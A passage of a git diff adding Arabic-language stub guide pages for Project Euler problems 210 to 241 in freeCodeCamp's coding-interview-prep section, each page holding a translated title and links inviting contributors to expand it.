+localeTitle: ملئ بزاوية المثلثات
+---
+## المشكلة 210: Obtuse Angled Triangles
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md
new file mode 100644
index 0000000000..98720f75d1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Divisor Square Sum
+localeTitle: مجموع القسمة
+---
+## المشكلة 211: مجموع النقاط المقسوم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md
new file mode 100644
index 0000000000..bb2a5f26d6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md
@@ -0,0 +1,9 @@
+---
+title: Combined Volume of Cuboids
+localeTitle: الجمع بين حجم Cuboids
+---
+## مشكلة 212: حجم المجمعة من Cuboids
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md
new file mode 100644
index 0000000000..f87b820c11
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md
@@ -0,0 +1,9 @@
+---
+title: Flea Circus
+localeTitle: سيرك Flea
+---
+## المشكلة 213: سيرك البراغيث
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md
new file mode 100644
index 0000000000..2b68f0279a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient Chains
+localeTitle: سلاسل Totient
+---
+## المشكلة 214: سلاسل مستقيمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md
new file mode 100644
index 0000000000..c2ab6780f3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md
@@ -0,0 +1,9 @@
+---
+title: Crack-free Walls
+localeTitle: جدران خالية من الكراك
+---
+## المشكلة 215: جدران خالية من الشقوق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md
new file mode 100644
index 0000000000..c50d792b9a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating the primality of numbers of the form 2n2-1
+localeTitle: التحقيق في البدائية من أرقام النموذج 2n2-1
+---
+## المشكلة 216: التحقيق في البدائية من أرقام النموذج 2n2-1
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md
new file mode 100644
index 0000000000..51498fa894
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Balanced Numbers
+localeTitle: أرقام متوازنة
+---
+## المشكلة 217: الأرقام المتوازنة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md
new file mode 100644
index 0000000000..31132ccef0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Perfect right-angled triangles
+localeTitle: مثالي مثلثات قائمة الزاوية
+---
+## المشكلة 218: المثلثات القائمة الزاوية المناسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md
new file mode 100644
index 0000000000..d1dc8b6c24
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md
@@ -0,0 +1,9 @@
+---
+title: Skew-cost coding
+localeTitle: ترميز الانحرافات
+---
+## المشكلة 219: تشفير تكاليف الانحراف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md
new file mode 100644
index 0000000000..833bc4865e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md
@@ -0,0 +1,9 @@
+---
+title: Names scores
+localeTitle: أسماء النقاط
+---
+## المشكلة 22: علامات الأسماء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md
new file mode 100644
index 0000000000..bd0aa60c3a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md
@@ -0,0 +1,9 @@
+---
+title: Heighway Dragon
+localeTitle: Heighway التنين
+---
+## المشكلة 220: Heighway Dragon
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md
new file mode 100644
index 0000000000..2946a27cb0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Alexandrian Integers
+localeTitle: السكندريين الاعدادية
+---
+## المشكلة 221: أعداد صحيحة الإسكندرية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md
new file mode 100644
index 0000000000..384ad8b70a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md
@@ -0,0 +1,9 @@
+---
+title: Sphere Packing
+localeTitle: المجال التغليف
+---
+## المشكلة 222: Sphere Packing
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md
new file mode 100644
index 0000000000..9b407ffa5e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost right-angled triangles I
+localeTitle: تقريبا مثلث قائم الزاوية
+---
+## مشكلة 223: مثلثات الزاوية اليمنى تقريبا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md
new file mode 100644
index 0000000000..c14726caa5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost right-angled triangles II
+localeTitle: تقريبا مثلثات قائمة الزاوية 2
+---
+## المشكلة 224: المثلثات الزاوية اليمنى II تقريباً
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md
new file mode 100644
index 0000000000..81887f653d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Tribonacci non-divisors
+localeTitle: غير المقسوم القبائل
+---
+## مشكلة 225: Tribonacci غير المقسوم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md
new file mode 100644
index 0000000000..71d7a9d35b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md
@@ -0,0 +1,9 @@
+---
+title: A Scoop of Blancmange
+localeTitle: سكوب من بلانك مانج
+---
+## المشكلة 226: سكوب من Blancmange
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md
new file mode 100644
index 0000000000..a46008e4fa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md
@@ -0,0 +1,9 @@
+---
+title: The Chase
+localeTitle: المطاردة
+---
+## مشكلة 227: تشيس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-227-the-chase/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md
new file mode 100644
index 0000000000..985d2ab7d8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Minkowski Sums
+localeTitle: مبالغ مينكووسكي
+---
+## المشكلة 228: Minkowski Sums
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-228-minkowski-sums/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md
new file mode 100644
index 0000000000..1e25b0c680
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Four Representations using Squares
+localeTitle: أربعة تمثيلات باستخدام الساحات
+---
+## مشكلة 229: أربعة تمثيلات باستخدام الساحات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-229-four-representations-using-squares/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md
new file mode 100644
index 0000000000..154ba2ab6a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Non-abundant sums
+localeTitle: مبالغ غير وفيرة
+---
+## المشكلة 23: مبالغ غير وفيرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-23-non-abundant-sums/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md
new file mode 100644
index 0000000000..b91258d1c4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci Words
+localeTitle: كلمات فيبوناتشي
+---
+## المشكلة 230: كلمات فيبوناتشي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-230-fibonacci-words/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md
new file mode 100644
index 0000000000..7486ffaa01
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: The prime factorisation of binomial coefficients
+localeTitle: العامل الرئيسي لمعاملات ذات الحدين
+---
+## المشكلة 231: التحليل الأساسي لمعاملات ذات الحدين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-231-the-prime-factorisation-of-binomial-coefficients/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md
new file mode 100644
index 0000000000..c67004c2de
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md
@@ -0,0 +1,9 @@
+---
+title: The Race
+localeTitle: السباق
+---
+## المشكلة 232: السباق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-232-the-race/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md
new file mode 100644
index 0000000000..532f274c20
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice points on a circle
+localeTitle: نقاط شعرية على دائرة
+---
+## المشكلة 233: نقاط شعرية على دائرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-233-lattice-points-on-a-circle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md
new file mode 100644
index 0000000000..35d9eff21d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Semidivisible numbers
+localeTitle: أرقام قابلة للتجزئة
+---
+## المشكلة 234: الأرقام القابلة للتجزئة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-234-semidivisible-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md
new file mode 100644
index 0000000000..b365f86703
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: An Arithmetic Geometric sequence
+localeTitle: تسلسل هندسي حسابي
+---
+## المشكلة 235: تسلسل هندسي حسابي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-235-an-arithmetic-geometric-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md
new file mode 100644
index 0000000000..a474f66cc2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md
@@ -0,0 +1,9 @@
+---
+title: Luxury Hampers
+localeTitle: فاخر Hampers
+---
+## المشكلة 236: Hampers الفاخرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-236-luxury-hampers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md
new file mode 100644
index 0000000000..6b4ffa7e6b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md
@@ -0,0 +1,9 @@
+---
+title: Tours on a 4 x n playing board
+localeTitle: جولات على لوحة اللعب 4 × ن
+---
+## المشكلة 237: جولات على لوحة اللعب 4 xn
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-237-tours-on-a-4-x-n-playing-board/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md
new file mode 100644
index 0000000000..38f9d163e9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md
@@ -0,0 +1,9 @@
+---
+title: Infinite string tour
+localeTitle: جولة سلسلة لا حصر لها
+---
+## المشكلة 238: جولة سلسلة لا نهائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-238-infinite-string-tour/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md
new file mode 100644
index 0000000000..d795ecc913
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Twenty-two Foolish Primes
+localeTitle: اثنان وعشرون حمقاء الأعداد
+---
+## مشكلة 239: اثنان وعشرون حمقاء الأجرام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-239-twenty-two-foolish-primes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md
new file mode 100644
index 0000000000..057046d76d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md
@@ -0,0 +1,9 @@
+---
+title: Lexicographic permutations
+localeTitle: ترجمات معجمي
+---
+## المشكلة 24: التباين المعجمية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-24-lexicographic-permutations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md
new file mode 100644
index 0000000000..9fb82ce142
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md
@@ -0,0 +1,9 @@
+---
+title: Top Dice
+localeTitle: النرد الأعلى
+---
+## مشكلة 240: قمة النرد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-240-top-dice/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md
new file mode 100644
index 0000000000..340e877ea6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-241-perfection-quotients/index.md
@@ -0,0 +1,9 @@
+---
+title: Perfection Quotients
+localeTitle: الكمال التقديرات
+---
+## مشكلة 241: Quivients الكمال
+
